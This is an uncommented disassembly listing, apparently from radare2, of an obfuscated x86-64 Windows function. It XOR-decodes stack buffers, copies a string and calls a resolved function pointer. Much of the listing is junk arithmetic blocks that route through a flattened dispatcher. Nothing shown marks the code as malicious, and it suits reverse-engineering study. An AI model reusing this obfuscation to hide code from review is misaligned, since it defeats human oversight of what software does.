xor rax, 0x67db3671
rol rax, 0x81
popf
mov qword [rbp + 0x1f], rax
movdqa xmm0, xmmword [rsp + 0x20]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x30]
xorps xmm1, xmmword [rbp - 9]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmmword [rbp - 0x79]
xorps xmm0, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x79], xmm0
movdqa xmm1, xmmword [rbp - 0x69]
xorps xmm1, xmmword [rbp + 0x17]
movdqa xmmword [rbp - 0x69], xmm1
lea rax, [rsp + 0x20]
mov rbx, 0xffffffffffffffff
push rax
pushf
mov eax, 0xf9747a1
pushf
not eax
add eax, 0xb6335339
xor eax, 0xfb446aa0
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x9834e01d
xor eax, 0xc3bef9a0
rol eax, 0x78
popf
pushf
not eax
add eax, 0xd114adac
xor eax, 0xd7cae6a3
rol eax, 0x70
popf
jmp 0x1400f8407
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400f9b10
mov rax, qword [rbp - 0x41]
cmp rbx, rax
ja 0x1400f9b68
push rax
pushf
mov eax, 0xa33e6cc0
pushf
not eax
add eax, 0xf42f537a
xor eax, 0xd7fade90
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x974564c0
xor eax, 0xf6e00d8c
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xd366a28d
xor eax, 0xb2be44ff
rol eax, 0xc0
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x4eaf36b4
pushf
not eax
add eax, 0xc3a108c2
xor eax, 0xad7f3457
rol eax, 0x26
popf
pushf
not eax
add eax, 0xcde30c99
xor eax, 0x99b2e741
rol eax, 0x75
popf
pushf
not eax
add eax, 0xdfc35aff
xor eax, 0x8450a1c4
rol eax, 0xba
popf
pushf
not eax
add eax, 0xac63abf6
xor eax, 0x8c1b5adc
rol eax, 0x8e
popf
jmp 0x1400f8407
lea rdi, [rbp - 0x59]
cmp rax, 0xf
cmova rdi, qword [rbp - 0x59]
mov qword [rbp - 0x49], rbx
mov r8, rbx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
jmp 0x1400f9c9b
lea r9, [rsp + 0x20]
mov rdx, rbx
lea rcx, [rbp - 0x59]
call fcn.1400fc022
push rax
pushf
mov eax, 0x6a2be303
pushf
not eax
add eax, 0xb20ae6bb
xor eax, 0xb750baac
rol eax, 0x62
popf
pushf
not eax
add eax, 0x93093e00
xor eax, 0x89db1071
rol eax, 0x36
popf
pushf
not eax
add eax, 0xf00e2325
xor eax, 0xcfb348fa
rol eax, 0x27
popf
pushf
not eax
add eax, 0xb6423866
xor eax, 0xb3f72c09
rol eax, 0x19
popf
jmp 0x1400f8407
mov rax, qword [rsi]
lea rdx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova rdx, qword [rbp - 0x59]
xor r8d, r8d
lea rcx, [r8 - 1]
jmp 0x1400f9cb4
call rax
test eax, eax
je 0x1400f9d00
push rax
pushf
mov eax, 0x75b71e74
pushf
not eax
add eax, 0xd648a0f1
xor eax, 0x805f0c02
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xdaa6a50c
xor eax, 0xadce475e
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xf0344e33
xor eax, 0xa84a1710
rol eax, 0xd3
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x419c2e00
pushf
not eax
add eax, 0xb5e812e7
xor eax, 0xb4fe9d04
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xaffffedc
xor eax, 0x8ee9d55d
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x8c83ade1
xor eax, 0xb2d6bb90
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xffc7aed2
xor eax, 0x8a4a836a
rol eax, 0x85
popf
jmp 0x1400f8407
mov bl, 0xe6
pushf
not bl
add bl, 0x9a
xor bl, 0xfa
rol bl, 0xc6
popf
pushf
not bl
add bl, 0x96
xor bl, 0x86
rol bl, 0x12
popf
pushf
not bl
add bl, 0xaf
xor bl, 0x43
rol bl, 0x25
popf
pushf
not bl
add bl, 0x47
xor bl, 0xa4
rol bl, 0xcd
popf
jmp 0x1400f9e01
xor bl, bl
push rax
pushf
mov eax, 0x471980f5
pushf
not eax
add eax, 0xed894419
xor eax, 0xdabc61b5
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xc909ec21
xor eax, 0xf7bea977
rol eax, 0x5a
popf
jmp 0x1400f8407
mov rdx, qword [rbp - 0x41]
cmp rdx, 0xf
jbe 0x1400f9e51
push rax
pushf
mov eax, 0xd1ec52c4
pushf
not eax
add eax, 0xf63221c1
xor eax, 0xa7926cc4
rol eax, 0xba
popf
pushf
not eax
add eax, 0xa9f7a189
xor eax, 0x9f048bb3
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xc65ecac6
xor eax, 0xf8fb12a3
rol eax, 0x1a
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x56923359
pushf
not eax
add eax, 0xbb14ffe0
xor eax, 0xdeabc293
rol eax, 0x27
popf
pushf
not eax
add eax, 0xd75827e4
xor eax, 0xc2d21d06
rol eax, 0x33
popf
jmp 0x1400f8407
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400f9eca
push rax
pushf
mov eax, 0x41dfb680
pushf
not eax
add eax, 0x812020a8
xor eax, 0xef623a5d
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xda6e9999
xor eax, 0xd6708a3e
rol eax, 0xae
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0x5e07e57e
pushf
not eax
add eax, 0xe14ef3c3
xor eax, 0xdef5e1cf
rol eax, 8
popf
pushf
not eax
add eax, 0x8b664ccd
xor eax, 0xc28b14ae
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa59a7d5f
xor eax, 0xa01b927e
rol eax, 5
popf
jmp 0x1400f8407
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400f9f7e
push rax
pushf
mov eax, 0x83847b68
pushf
not eax
add eax, 0xedaae658
xor eax, 0xa906697a
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xac2e1a14
xor eax, 0x82648b46
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xbb1bfc28
xor eax, 0xcaaf64e9
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xaf68137b
xor eax, 0xc6f0123b
rol eax, 0x80
popf
jmp 0x1400f8407
push rax
pushf
mov eax, 0xdf2c3cef
pushf
not eax
add eax, 0xeb5f898c
xor eax, 0x9239c86d
rol eax, 0x13
popf
pushf
not eax
add eax, 0xde36dc65
xor eax, 0xeaa9ec10
rol eax, 0x26
popf
jmp 0x1400f8407
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dff78
push rax
pushf
mov eax, 0x764843d9
pushf
not eax
add eax, 0x8b49f0c5
xor eax, 0xce90ac00
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x999c91a5
xor eax, 0xa3bd1d93
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xb855995e
xor eax, 0x93ebf144
rol eax, 0xce
popf
jmp 0x1400f8407
movzx eax, bl
push rax
pushf
mov eax, 0x48e1894e
pushf
not eax
add eax, 0xf6348399
xor eax, 0xcef48835
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xf33a87fb
xor eax, 0xb24e0799
rol eax, 0x52
popf
pushf
not eax
add eax, 0xfc1d8d14
xor eax, 0xac25f3c6
rol eax, 0x54
popf
jmp 0x1400f8407
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140108cb2
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret